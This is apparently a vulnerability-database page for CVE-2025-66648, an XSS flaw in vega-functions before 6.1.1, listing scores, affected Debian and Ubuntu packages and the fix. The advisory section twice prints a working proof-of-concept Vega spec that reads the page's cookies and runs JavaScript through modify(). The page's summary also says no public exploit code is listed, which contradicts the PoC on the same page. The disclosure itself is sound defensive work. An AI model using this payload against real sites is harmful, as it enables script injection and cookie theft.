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CVE-2025-66648

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

7.2 HighFix available

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.23%Up 0.2 points since Jan 6, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
CVE-2025-66648
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-206236 7.2

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
EUVD-2025-206236
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m9rg-mr6g-75gm 7.2

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}
Record
GHSA-m9rg-mr6g-75gm
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 7.2

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
CVE-2025-66648
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 7.2

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
CVE-2025-66648
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVDEBIAN-CVE-2025-66648 6.1

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
DEBIAN-CVE-2025-66648
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVGHSA-m9rg-mr6g-75gm 7.2

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}
Record
GHSA-m9rg-mr6g-75gm
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVUBUNTU-CVE-2025-66648 7.2

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions 6.1.1. There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Record
UBUNTU-CVE-2025-66648
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vega-functions
npm
 through 6.1.0
6.1.1
vega.js
Debian:12
 All versions, plus listed versions
5.22.1+ds+~3.1.0-45.25.0+ds+~cs5.3.0-15.25.0+ds+~cs5.3.0-25.25.0+ds+~cs5.3.0-35.25.0+ds+~cs5.3.0-4
Show 8 moreShow less
5.25.0+ds+~cs5.3.0-55.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-15.33.1+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-4
 None known
vega.js
Debian:13
 All versions, plus listed versions
5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-15.33.1+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-4
 None known
vega.js
Debian:14
 before 5.33.1+ds+~cs5.3.0-2, plus listed versions
5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-25.28.0+ds+~cs5.3.0-35.33.1+ds+~cs5.3.0-1
5.33.1+ds+~cs5.3.0-2
vega-functions
npm
 before 6.1.1
6.1.1
vega.js
Ubuntu:24.04:LTS
 All versions, plus listed versions
5.25.0+ds+~cs5.3.0-25.25.0+ds+~cs5.3.0-5
 None known
vega.js
Ubuntu:25.10
 All versions, plus listed versions
5.28.0+ds+~cs5.3.0-1
 None known
vega.js
Ubuntu:26.10
 All versions, plus listed versions
5.28.0+ds+~cs5.3.0-25.33.1+ds+~cs5.3.0-4
 None known
vega.js
Ubuntu:26.04:LTS
 All versions, plus listed versions
5.28.0+ds+~cs5.3.0-15.28.0+ds+~cs5.3.0-2
 None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-66648 is a high vulnerability (CVSS 7.2) in Vega, published January 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in vega-functions 6.1.1.

References

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